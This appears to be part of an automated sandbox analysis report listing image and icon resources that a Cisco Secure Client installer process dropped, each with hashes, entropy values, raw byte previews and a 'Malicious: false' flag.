Preview:	............ ............... ............... .^N............ .(R............ .(...!S..``.... .....I[..@@.... .(B......00.... ..%...2..((.... .h....W.. .... .....)r........ .............. .....Y......... .h........PNG........IHDR.....................pHYs..........o.d.. .IDATx...wtUU....MO..B....TA.. ...l....Ti"H.E...D@lT.EA.).... ........R...{o...Jd..o.L...},.RJ9.1.......#W..` (.#.._.....?>\|..ki@j.G..........q..........2>....( ......RJ)u.,..J).2..a@^ <....C..?;..}9..f..p....\|..#,.J...Rn.]..(.T.3.x....@..\|.D..vu.N....W.\|D.....y..(..5.c, ..^..!}.....Np...eY)B.R...PJy<cL(P9."._.............^...W....RJ)G..@).1.1.@9...U2>..UGy.(2......,..M..R6..@).1..r._....dH.S.WC.Ws.eYi...R+h...ri..?.j.........[..vsyc.eY...R..i...r).....wd\|.B..+.....M.F`.eY.e#)....@).h.R..._..=...K9.q....>v..".....Q..cdl.....w.~Q.R.$.......t.R.I..PJ...<.C.}..&....M...h..(.l.1.....J..!...2>.Y.uA8.R...^.T.2...........H).I...V..,..!.G)...PJe..}....S.....r9'.....e....r3..(.n.1.8......M

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\about.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 101 x 101, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1807
Entropy (8bit):	7.846793911413473
Encrypted:	false
SSDEEP:	24:M3uM24lXN+maawwFvEk9PMjKHcdAJ5xo+n7R/0+5GpxwGjQaTNn7ohEoGCL5F2lr:M+VU3vVsk9kcqE7RN+x/BohRnG
MD5:	536C911881523B9F8402A481881992A0
SHA1:	2748A03D65DA7D6B4A95ACBDEB6ECD6F409A0ABF
SHA-256:	246B7E52A41AA64365D84C7DA73FD20C27B8C825C61394AE8C775DBD9BF5B668
SHA-512:	608DFEC9C7980707B9947F3CFB8BEF93FDF1D6D5B908E25888BCA0C7CE83C70F23AF87798F38E364E75FA05C89523028B5742E3084E6401068A7DE6BC5BF90E4
Malicious:	false
Preview:	.PNG........IHDR...e...e.....T\|-.....pHYs...#...#.x.?v....IDATx..;R#I..k.........1...h.@'..:.V...1'.q..kM...Ly..h..6J.=....Y.%E~...!..wVe... .. .. .. ....O;....I..UO...........R.........7...E)5W.d...Q.)J5.7\{....Q.W.P.R.a.@.K......ab...Q.d..zV....^..m.C.t..U.Y.e..(.....x.J)...s.....)..XM....Y.._~Q......o#..........=.p+b.E..X..X.}.'..o...DJw..GJq.].^.%R.#..3.y<.s...5.......s.s....;>.Z.q.F./..r.Z...T..=.&H......z...~J/.%.....(.~.\|R7...z.LV....+.........T....\|L.1i<..Zc.]LO.;.@.:.?IU./..A.,.-.rGr!Z...'I.........6+^......a....n6~e6ejy.f.........\UC..\..i..s.r.U_.i..>......u...p...zb5..t\|u.h.gxD..}6T[i.jxO./..goc...9......(.[..........*.{.8.f.(..R..J8.za.;.t..aj./.5.^px....g[...]z...=.Q.Q.%.D...z2`.;.6.K9.26Tc'....)_...$..<.&.7v.....pQ..N....s.c...XX..x.>..O.....)&/IYm..=....7.A.......c$..R....T{.q......C..@.L.....]({..>y.:.e.#....ym.....g^.R.....v.$.M.B.E....^.xSF80......n\|Ph./..%<.I...X.f..=.pz..~...a..O1.9g.m.Mp....n.v%D....w....F6.....{.".!.~.}..}.P.S.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\about_24.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.139959170245274
Encrypted:	false
SSDEEP:	12:6v/7Hel//IgFAkq3Dhp5tRX3Sq+IeSzgKOg6p2e:aehvFXSELAgKja2e
MD5:	34C2847A763607A881B1E9A81CA9A4DC
SHA1:	B6050C2A1AA45C78F273B76FB729158E0F172D18
SHA-256:	4D735FCC94C53B0753F49E2656EE480D37F4899520F17C48FF7D1F0DDC2A9A8C
SHA-512:	8E3C4C1F62BDF79B2C5263D0C4DD97E302261A0C5C9399C13FADD3E25301F7DDA7297ECE3A8352534C9DA4B3A23FFE497FD61BDA348D14BB6658AF2C66863727
Malicious:	false
Preview:	.PNG........IHDR..............w=.....pHYs...........~....6IDATH...M.0.E.L....&hG..t...f.........F`.l..}n.....B..).....}.p.k....x..3n\|oI.^..G._~%..3...7~.^...#D..]/.lD.....{...#..:...k..+n.U.....)".]'g...9Y...G.w^v.&.FX{....".i.k.:..bN.......b.(H......8.y. .E...s$.V.....U.sOwFo.#...a;:....2.....=.....P...ct.k.A..-....Q...<..R...$.FX.-M......k.W...b.}2o.....p.........IEND.B`.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\about_hover.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 101 x 101, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1916
Entropy (8bit):	7.856747119568193
Encrypted:	false
SSDEEP:	48:22S/53y4Zw3U0f7kxCsJUAxuLYSze4OnbQipPVeOh2JaM9:2lA6aU0fITJUA5Sze4AbQuPVmJaM9
MD5:	88A7B064DF22129CF129C4C589E1A92E
SHA1:	FE205F326656F8468B6FF7B9702B26E0BA450D35
SHA-256:	2E7D51E65DE4287C47C4BA96A394FD678F56F6A4BAAD7E35407BDD7D52DE500D
SHA-512:	87015E250E1659A0C5A90C85F85D01DC3B19AE079BA2574A2F6276AFF97E89A6B90BA5AB855EBC7B29AAB26C4ADB64B44EE64E210DCD0A02CCE70529D0FC3910
Malicious:	false
Preview:	.PNG........IHDR...e...e.....T\|-.....pHYs...#...#.x.?v....IDATx..]=r[7.....eJ.Kg.M#..~>...H.. ..8.O .L.....T.......p.&.....P.7.G....a..X,...........m..}7:...9...o.u.7.9.,....3...>.x...^R...........y...F.."eC....dzk...5.T.).hHD.US)L.`..x^..eIA2~...`..W.g%.T..ndT.u.d..r.[r.6.6PM.=...\|....<..9..j.$'...GJ7.J...s..........<..3...Ip.C..'.....9.....G.H..C.'..n.._&i.!-)....v......'M..p..=M........=..4R...7.$b.;.iH..9.Q.....]P.%.OBL\|R.............j.T....Lc.:.):B....f5P.]+..c.>.....!.Tz8.P.N.#..@nw0.H....$.:{...K.. .%......xG...3...OA..,.9..u.b.....<....v.H./.....k~.o...8.%.'.....w.'.'.%....!t.{........).oL...y?_~...K....>j.....]3.%...$.Cr@....l+.`...Y..._0v.4.s...@3._...]{n..)...wRpO....%.w..h2.....v...p/.}..#j.@.d.t.F.HA)..`).r<.....'...cq..WI..>...qy.......h........MJ..B(W. @....\1.SK...pz.kL......2{"hF...H..'.m"........K..2...).3a.....5.NR.an.\}.t6..is0T.&....2...6..H..U_6..E....$g...S..Nm..d+qp/dI......r.b....>....q/.8Qm..I.......%.P......I...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\about_hover_24.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	421
Entropy (8bit):	7.268682924293009
Encrypted:	false
SSDEEP:	6:6v/lhPZqI9EI0An9BZXg/f/8q+psYee5BtD9n1XOoLZNxdj8hVHPHQHEPisVp:6v/7kNDC9EoRtBthgwTSrPXPis7
MD5:	E36649875C18E56654D70D70405A64C4
SHA1:	F5AFE1F32062F5F8F3C036BC4C41FD4056ADE29F
SHA-256:	794A18D1D80F273108935EF4A9F1B1449EFD80E79DFC1546A410998CB2121933
SHA-512:	2EAF13B01B63712C50D5FAF9B5785468BC8444EDE766F9F89FDECAEAC5CE003A7962B7451607AA23064E5EB4E2DBDB3568713681BA778AFE1CBCCC8DA07426B4
Malicious:	false
Preview:	.PNG........IHDR..............w=.....pHYs...........~....WIDATH..U.m.0..".`...n@&..N.J..e.Ke.t.....x.2.#T.v...Z=)R..w.>.3r..~.....k.k.).q....^.....`.k..'.tG.......X.:Kf..=..7-........Md..`.....L.H.{..K.%D.~.i.$.F..z....]Q....Y@.f..D...C\|j.!\gi...q..R.1...2..K.....=..,..%...p+.(iW....#......r....N...=........C.8[..\<.a....2[n....B, #...u.09......a...;........._U.)K2...pb.LW...~^.......hSX.....IEND.B`.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\amp_logo.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 301 x 301, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	12558
Entropy (8bit):	7.968059020803266
Encrypted:	false
SSDEEP:	384:uop8Zgd6lZbxmfVR68Sj8p3f/NMolH6FeIB9OxW:uo6Z4Ic6potlg
MD5:	D30964E871F60B296F5109215FC341DC
SHA1:	365DDAFC27D304BBB3B8A99D0A62504E5D2D0B03
SHA-256:	16FDE630F3C55080422FE6965CE08D3CA85168655C73E05E3F9B7C00DC14507A
SHA-512:	22E918B1187909FCF80ED6ED091ADFA6081E95A2482F6676DA84D8CD580CD4557D9FBDCDD948ACEA03A8001BABA4653F4C735672F668DB9D226F9362A079358E
Malicious:	false
Preview:	.PNG........IHDR...-...-.....].6.....pHYs...#...#.x.?v.. .IDATx....U...hr!#.D'..i.L.$.l..V...q+.....H..l,.h...T.v.Ui..@..,.....Y..1.i........BX%:..4.n.O../..y....s.s....{.}.....>.}.a\|R(.!.!e....\|.:..Y.Jm..g...E.....S#>...R....0..[Dt.....R...i1,Z9BDJ5B...b49e....b..Z.`..(B.lq..Bq...!b.#Zc!..,Z..P..,....R:S.#.MDe{.Jm..\|.L9,Z).B...E....Y......xX..E+%..\|..M."eD$u...z.y...}..H.' ..Z.....X...P...Buk..P."d.9x ......uq..;t..q....Q.y...=..'rv......h.F.B5...h.%....K...>...@........7i.....8t8..e.3..-.(K....DF..+F..>.4nTZ.&G \.......[.G.......\|3`.J.a.#....* J..&..e\|....x...g}..L...VA...O.....Q.\.U..{.He-...Dkk.NK..w..N~.z.'./N.c.E+&D..B.....~...4nt.#)U.}ml.fEc.\|....Z.....,Z.S(...)`.Z.U}...5}....cGa[_....z...8u......bu_....~.6ni.Ak..D`..ul.G...F._.("..b.ToZ.D.7g:.U.....L..x=....-.....0...fN.J...j...=.. ^..B..,^.a.RD..+.................}.xi.E+$a=+...n....G...uG..rB.z.a........A+...`6.Re.D\..B..'D....0(,Z>.=.+E..o.....l..Z......T..6..B..hyPf.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\amp_logo_72.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2860
Entropy (8bit):	7.914852791051157
Encrypted:	false
SSDEEP:	48:1vgVWGnIUiSbzr6C6bm/8B3fMKfxYtg+hRKdQr5iQGAOUnonGVY5Q14pUcblw/Gu:1YIUxbavbmUZxYtVXABUno7Q5cblwDSI
MD5:	DA68BAC3A525CC1ACE0BC4836A49D3D5
SHA1:	5C7D343913F75C7595BBA487031056B54F2AC6CE
SHA-256:	DC088A5CD630537A875466B7278DDDE0E54203C733D0950F67B0D3896B671A09
SHA-512:	A5F4BCC1A2CADF82927CEBD0373694086BDF955D7B755118255AAE3FA7CF7EB05748C81B35A759A8202991B2B2D5F77709FC84C58D0554430BE3AE8B51519264
Malicious:	false
Preview:	.PNG........IHDR...H...H.....U.G....pHYs...........~.....IDATx..\.L......E.ki....`S.uB&HRP......E7.5.f.K.t.e....lV..ve.M'..@..."..t).U.R.(r@I....^.......;...._B.......w..{..y...Q.a.df......G3.T......&.....`.q..2Z2..h3...Q.....d..q..b..?.9}......6...I5DT.7u....B..i...._.........\.>..........U..r.=.]....rb. !'{-m...DO..N.\....,.'.TO.t!..X...(';]......KT.N.pE]..1AFK&\.(.%.....!iK...^;V%..6.u..CB...Jh.\....f1............&..2Z2!..`5.r7.+.wSlL....?.......N..@..8.M6..2h=.h..ID.bc...YRD?}....4...O.=.O..I+.....sd..d.=.o.D.&.89...WD.,=H..)z.'`...xZ.n...vD....l0Ynj!.g...C.9qd..7.....D..M:..y>Y......9.I..i.$..=....C.G..lu.....L..u.`..b.{=>Xp#).`....o.]^U.x.s56&:......w..rI0W'...C{uO7f.h.4i`p.!..jqR..k .L.:0\.=.n.7#K0C.U.K...X...b<}x.A .._....?..=..a.n....o..v=.N..9jQ.C.....kJ2.,....?v?f.A.../^h.,=.).Df.P..p....$..{Dz...C:v..t.......[G.a..>3.R...=..Z....X....}%.CV...J....p.6<......}v....T..3.5._].....c.V.~..A.z.....x./^..q....?.......9 ....5.?.Xy...s ..

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\app_logo.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	51094
Entropy (8bit):	7.977081753425093
Encrypted:	false
SSDEEP:	1536:UoAL5K723jk6waeSXMFYcQotAtZJqyGlOk6bAfb1:Uv5YAjkCeS8u6tAnwwTbe1
MD5:	BBD0533637DA4102A6DC250FB20D6FA7
SHA1:	B78DC64053313A61F3C25550D17C2700923B1EF0
SHA-256:	C4D28DB251B9D72B2EF84EB9774F028FFDB65E432451E79E50D51A497D8196B9
SHA-512:	A3B17D20439BE297AD034827FD5B9EC40DB2D3B597D76431F29AE4C72C2647546DAB7696A05B3007C6796862CA67F7EDD41D8826C0D41BB55139A1D58CE23C46
Malicious:	false
Preview:	.PNG........IHDR..............x......pHYs..........+.... .IDATx..wx.U...wf.{O $$..z.".J.......YEEE..." .TAd..^BM..RH.}2...dw...U.....=.;...{.....s.=...D".8.Eq....._....#......u)..X..T.....@.......7....(...\|......7...r~.U.... ..7.(.B...X.B.@".PCo....@...`...8...8w.r..w.. ...b...IB..9.$...H$.d.E..._.{.>@.o.}5 .\|U^....~..<.....;..@..'.P.H.. .X......u...+..:..r.......p...M.."K.I"...Dbn#......@..o.~..sv...;..p.......T!D.T.D"......_U....<.........$.C....$ ........B..T.D".....3..T)_.?.t(_..be..\|g.H.Cp.H.....D:.....x....D.5...o...".............R5...H$.o.5@.P...~'.%................Z...t.$..0..@..........%...U..\......R-...H$.c..........G..I.H....o.l....L.B.K.H.. .X........'..>..Db(y.m..~......t.$..3.....[.=...s.K$.......N...(.j.H.@"1...@..7..6..o*]I..n.?.X...BdK.H.. .......k.<.~..EjFb..?"....be.#.t.$..n...'.q@C.\|.R3.+..}..U`.pR..J.. ..o..>)O...Db.....JxQ..H.. ....k.~..;...'..Hl...L.G....]&..H.@RY........r./....?....B.\...t.$.n.]...x.Y.B.V$.........B.I.H

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\attention.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 32 bits/pixel, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	3.7071518309363354
Encrypted:	false
SSDEEP:	48:rtQAZDlpb/oRjRgvFBvOcVYVWZahUNZGIJMWz6izv2dBtj33xNCpK0v6wxrf0Dgk:rt/Md6vFBXKWIhUNky4X3IrvX1sDgro
MD5:	1C98B43E6778943A5358BE61A90BA74C
SHA1:	5267802FF8108EA1709CFEB6C156A7AA5D6140BC
SHA-256:	BCE250F3AEA36B7A76C5D4D73B03CE83A7988BBFB6F6AA69C92475C39DABC22E
SHA-512:	7C10E7FE2D1A476D0A923937597B95D505FBE6978ED4518A99F1FC391CB6281CE8A0F94F3772C83ABAEF916B6834BB5490833BF60BB3B9FA67D61CA0B7C16015
Malicious:	false
Preview:	...... .... .....&......... .h.......(... ...@..... ........................................................................P..........!...................................................................!.................................... .....................,3..................................................................#,.............................................kY.M'..M'.. %..5C..........................-9..-9..........................(2..0;u.......................0............cB+.M'..M'..M'..X5..z]J......y.......................1=..1=......................[q...'........................0.........xh.M'..M'..X5........................#......................................................DU................... ........nP:.M'..M'....w..........................,0..az...................'...'..................7F..9G.............................z]J.M'..X5..............................................................................\|....#.................................M'..X5

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\cisco_blue.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 5334 x 1067, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	83111
Entropy (8bit):	7.138058183615623
Encrypted:	false
SSDEEP:	1536:VC5Kuc25xWuSyREGUa7eZoQZBrMd+Wdl6P1NsDO1U:VC5Dx8yRTeBZW4k9DOu
MD5:	E9352AD002DC71C84B605700A6684C46
SHA1:	312487A0D0778CB57EBC0B5ABBA29CB6C31187FA
SHA-256:	55E9F9561425D5B5994506DB5932FF3C87ACAD729BB4CC043EE99EFB85484E0A
SHA-512:	CAC779DCB625BF8C8736686407BB81DB140434FB16DC98144E113F2822AB3A907A7E7CA63751D73604B11EF0F0DFCB6979833DE75B160542CF7C969F39533867
Malicious:	false
Preview:	.PNG........IHDR.......+........%....pHYs...#...#.x.?v.. .IDATx...kn...`..^..#?N...$..d)..c.5d/..ASy.q$Y....y...3.D........................................................................................E.....GW.....P..Z.nC........0\./_Ow?v:...`..x.j=..9.......@....5q....P5.&...hl.....&...hl.....&...hl.....&...hl...M..\v.......P.{.g.h}.;2.@...e#........Xr8.n.....s.er..<.4...fNi......H3.r:.....?u$`'.~.~...dsHN.<.s}.0.qy...x.A<..}7L.y....}^~...].w([U.M`.5..1... .pB.F.>IMc..\|..y.].......7...^46.a.....p.c..-...{.`.....,..#x...>I.:......a.........\|M.-..k..7:...;...C.........?>~>..)........o9(O.i.'.{.n..~.q....2Q.....W&.....R....Il.....;..~kH\|_.R......O....2..}jp....f.1!%..OY....n...F.lfL....W....'.CH,.....g/..y>>~.+j...$e........Mb..;.........Z...A.:.~...Y\|.o1P.A.$...)....~....S;.RR..@...W.&.}.q=.N...:[.C1.5.=...r.U&+._.z.O~o........m......}..t.vcR....u..{...&P..7.......c<....15.?u..5..U.c..........:..N.MhPw.=..K..y..>vc.....{;....F>..k......,.-..N...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\cisco_indigo.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 3226 x 2226, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	76349
Entropy (8bit):	6.476357962983417
Encrypted:	false
SSDEEP:	768:FVQKRdUmqPkx3KW18PXAvBXZc1cgOdRAXYg3w9pxiwzL6s7UJrwu4be/NG0Zpnel:FVT3K1PQx32w9pUwCKu4k5Tne54DD+
MD5:	FC85657D1B695A1BBF554859C7073AB6
SHA1:	DE271697015CD2BE237C3F112A2FA8391C7FE0A0
SHA-256:	734ACBF5F095BFC5092CCDE8C2721477C6B6F8C4BEC6E14F7F6E11012DC648F9
SHA-512:	AD8DA7E48ED1288FC24B7CE87B7F5557D1055C141B385E8BDC37B0BF56FF1BFFDF3516759DA613BD066EEB64C25C43D0D1609C3EC5AF7900081BA9083BF4361F
Malicious:	false
Preview:	.PNG........IHDR...............:z....pHYs...#...#.x.?v.. .IDATx.....H. Pi....`...`....<.`!d.`.........X.k.x@y.....KM.{.T.H.Dt..4\.2.....................................................................................................................X.V.<.n........a.9\ ...Af[.7K.C.q.C.K....T..P7.N.k...P.S..O...5..'....1...<8[.8$......@....A.(..!......@....A.(..!......@....A.(..!......@....A.(...j,.....}.q..}...ZU.....y.......c_..U...\].....k.2\.}.j..V7........K.....C.\|..{.p^/.m".'.....q...>..J..}wJ.v.....A.-O=oA%o.J.......SG.H@.h[.X7\|....P .O..%.P..B@. .... .....P..B@. .... .....P...~(g.k..KjoW...zt....v....('..........2..3.}k.... .-.7.:ts-h..u...X...,w..V..;..i.3.!.<.>..mg..{7>C@....Ye...A@...rS3.A@. .... .....P..B@. .... .....P..B@. .... .....P..B@.t....y......!G...9gg...B.../g..;.%.\|p...S..5....&.o'.......6.('8.BZm?...}..T.S:.Z.<..:v..=.5.....}ku.D.3.C_.......F.r9....*.zG=.....c....q.......j?....r.\.G...[^..!......@....A.(..!......@.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\cisco_secure_client.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 3563 x 1383, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	83426
Entropy (8bit):	7.358868361468608
Encrypted:	false
SSDEEP:	1536:dixvvTkILgVLxXyJl/WOwiu/PK7KT+vWJv1RASI/sH4PIfeN9Oo:avvTfg5Fyv/WOwiurQWJ9e0H4PoeTOo
MD5:	4AC53A86840972B2C8E661710290F3ED
SHA1:	D305EC46D2A933DA35D0634B1C23B2657A70CA88
SHA-256:	647EFCB4DF9273570A803D5818A37814601B06D41D77A51B61461B12958F028C
SHA-512:	86CCC7CA3A4EC721DB91B498E05C4DED79B3BF88E3AF5BCA4198380742B79C69AFF7BCDE7CE15FC09D1C976C37E56298EC3BECAD9254242ACCFAD9CBD6159BA4
Malicious:	false
Preview:	.PNG........IHDR.......g........@....pHYs...#...#.x.?v.. .IDATx...Mr....N+.....O....OeM..W..;Hy.^...Wt..M..$....r]_Gj.A.................................................p.....?.=....._......\..?....\|;......T.T..=S.....i.[.........@.T\|......SQ..p>.N...l.e..>/.2...\.f.."../.2.....i..@atu..\.............Tv..R.........W;....[.....^;..}.O..+....C.7.@:Y..#O....LE..>....x..B-....LE..?..z..Yk.s.g.\|.1/.>....}.5..<a...Y..Z..J).......}.....W\|.\|...!..f>&.j..f..z-...9..Q.R#c\|..m..ww.N....F.E\|.......?...?w.p.t....B+...}g...G.1....F...2.........v.M.........]...E..%.us........B...9G.K.._..5F@.<?....C.E8.-.\[.c.....=.i..PZ53p......<...o.;..O7..w..T....X...\..k....{.....Dv..Y.1..MI.......R......#....0..S.%T\|.3..5....\|..Q....46.....6ml<..^_.2....k.SJ.>O...A....U...g.\.F.#j.m.7u......-!.p.4..........!...[..Rh.?......F..5.C....S.W..B~7...0..\|.\|....J.Ze...P...H].u.6....p......P.:i.F.g..$GE......ch.3q......J`.wo.,..^......efy.a....s.i.P.l*...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\cisco_secure_endpoint.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 1024 x 365, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	16443
Entropy (8bit):	7.760065707691873
Encrypted:	false
SSDEEP:	384:lqb0tEZvDwb6EjHGVbAxe76N2Tuzy8xvyu6:lY02FP8nsUxvyu6
MD5:	E786715A35FEB88334AA7FAA35F70248
SHA1:	2BB7D79511CA0099549DAA71263909D61789B54D
SHA-256:	0D5106D9C61EC53AC64D4663204A75F5257B41E24991F1D6CCD50471CF81C341
SHA-512:	4DF4F567FB4B1184610D1884D13F75C474757641F64CA05B6333391C12B7AFA0D7889F4DB374AB54F69E262EE4B12FB89A12E037A8F2926E01ED457D233DE3F9
Malicious:	false
Preview:	.PNG........IHDR.......m......O......tEXtSoftware.Adobe ImageReadyq.e<..?.IDATx...r.H.(l...70.l....L..60}....VrRI.I$_..+.&.:..`kBk......^........H..G.\|..l}.@......,.........................................................................................................................................................................................................................(.....?...i..........B..]......5._O.L/.2}R:.....}.....i.._...R.+..ez...../......?)...)...[....?..S.......x..g.x7.z...T....H...D.... .....H................ ................ .....H.....=...v./...I..4.......S..:..\|..1..._.+.s.......hF....y.....!.....:..<._...).....&.P...e..;l.c... ..W.8.... ......1@.l.h...'V...k..IL.L.r..h......q...g];/.T.K..rw=...%?>....kM... .0....IB.yr.....;............... .....H.......... ........n._.......-....,....3..,..Q..L.J.2.._..,..2}R2....@......?>...~.X/....4...k...L/.2.+...4...._...).....(.)......y..@.@.. ......... ..b..WB....@5..W.Ym...?..)...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\collapse.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 8 bits/pixel, 32x32, 24 bits/pixel
Category:	dropped
Size (bytes):	5494
Entropy (8bit):	1.0422788649872297
Encrypted:	false
SSDEEP:	12:xh4r3rEO9SEEEEEEEEE2888888888Bsff:xKfgH
MD5:	B4FE215E5858B187A041DEABB2E1CB04
SHA1:	E8F16887E8BFFF243EB1AEAAF21B382CD0DFD9EE
SHA-256:	9FC38B41A0D11FF64348F0E125692091D478E6E4F1C368A4E01863D49F87BB87
SHA-512:	371FEA20A067929B21543490CE56C370BE8477B40630D2EE0BA613FE91A485D083DCB0FE4B0E76465576935F0311CC65832B48B3487F5C2B83ABB4E8B9AB4270
Malicious:	false
Preview:	...... ..........&... ..............(... ...@...................................BBB.XXX.cbc.nmn.yxx...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\company_logo.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 3226 x 2235, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	75452
Entropy (8bit):	6.447447333863436
Encrypted:	false
SSDEEP:	1536:i6ORO3YabolewEiM0aJqCrvbURQDEb6b/4:ik3dolewM0agCrImD3w
MD5:	9C6F8BF269230734B04A82F610B9B912
SHA1:	2B81B2C45C94CA29330ED0223F21928BEAA66A3D
SHA-256:	3A5C49B91E68BE97E158E7A35C54996C45F1E9E8432927AF476D5F85BCF7B67E
SHA-512:	4F24CAD91616F50E1C28E0D44C66B0F6E6C89F38E9A07B81C43810862F3E76E77D897D6B06BB7CD2FEFDFC1E01011FA1CEBCDF2E6E53F347E98B9CEF7FCBF1C9
Malicious:	false
Preview:	.PNG........IHDR...............k.....pHYs...#...#.x.?v.. .IDATx.....H.(Z.1.<....C{@{..\..-...X.....<.....,5.!)..2S.x(.^k.LS.P....4..................................................................................................................%Y.]"".......c.K. ..X.rH'./.5.#...]..........O.S...2..s:...}P.%B. ....Y.P....@.....0.......,.(.da@. ....Y.P....@.....0.......,.(.da@. ..JG.W....w.$...^.o\|.[..\.G..=.........k....#..SJ...nm..h..O7%c.2....)....hh.;.Z...e^...c.a.q.,....{.oe...Q..a5g..^.6e^...#B.k..a/%..{aL....0.......,.(.da@. ....Y.P....@.....0.....e..o.{..+".L...wg..~i..PN0......-..z.Z.Yg)..1........m..7...r.Gw..7.$..N.0..sW......d@...4..i...P.@D\|;5?t0.+........P....@.....0.......,.(.da@. ....Y.P....@.....0..../...7.....kW...i..T...6..F..A#+..s.......(.`....V.-Z.kCI..>.PN.....eE;.?ou.N...}.k7..\........R.X...w.....}_...#.\|..s^....&..z....Z.....8.d)`..9kY.. ....Y.P....@.....0.......,.(..9.n.np....y{W..\.....N0p.j .4.'..&................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\company_logo_alt.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 3226 x 2235, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	76615
Entropy (8bit):	6.470162664157233
Encrypted:	false
SSDEEP:	1536:qGdM/siSNo+PH4MwDCfwvTaBFdzIWxtLudTc8OuTk3kMgH/0:q5sioYMwL7aBF1x0dTcqTFf0
MD5:	BCB76C77C4A705631EAECEAD63D6A8EF
SHA1:	915C69643CCCB39E4DED27AC866C3F6872D740A2
SHA-256:	C5A9EB1365BF8D546649281DE3C9E31FB27F9E39B54BC860961F026E95D653B2
SHA-512:	07349A6E550BDC44091329DF5303EB9BB845E54926346ACD9D5FA74FD9F596E73B3D04FD1098079564D4EEB9FBB03F7F9126C0D16433DE9456C5556741B06121
Malicious:	false
Preview:	.PNG........IHDR...............k.....pHYs...#...#.x.?v.. .IDATx.....8.(`.T.E...D0..n.............\..;..`G.'...2.....W/.?[.$.y..j...gY.......................................................................................................................W..Tus7..%......m.....Bx.Bx.w......P.QU7.B.gW...k]?;T....J.s....i`9g...m...R{,1e...S...+3V.P..@......"......@....Q.(.D!......@....Q.(.D!......@....Q.(.D!......@....Q.(.D!.............G.<...k~..~.B.p....}.d(........>..V.7......~.&..m[...(.{s[.......S..=.0.>..........0p.......aP.4...R.&...I.K.s......=...=.K.Vu.".b.l...Q.(.D!......@....Q.(.D!......@....QX..D......1\h....}}...;}\|>.e....;..\t.tE.........9"}\|9..&.m.S+...-m:.C3y.K..!..b....mi.....b.>~;..f...f.....S.P...g.......P..B@. ....(.....P..B@. ....(.....P..B@. ....(.....P ....%.P...e......u;.k...&.......=.....h..2(....=..%..A....yH..-..}<...IX.=......yO..U....>yImj[......'.;...B@...i..-.S.n..tnk..m.:..>v......5.g.SI'..f.K.U..e.{......6...+.3y..-:.x..f...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\cues_bg.jpg (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 1260x1024, components 3
Category:	dropped
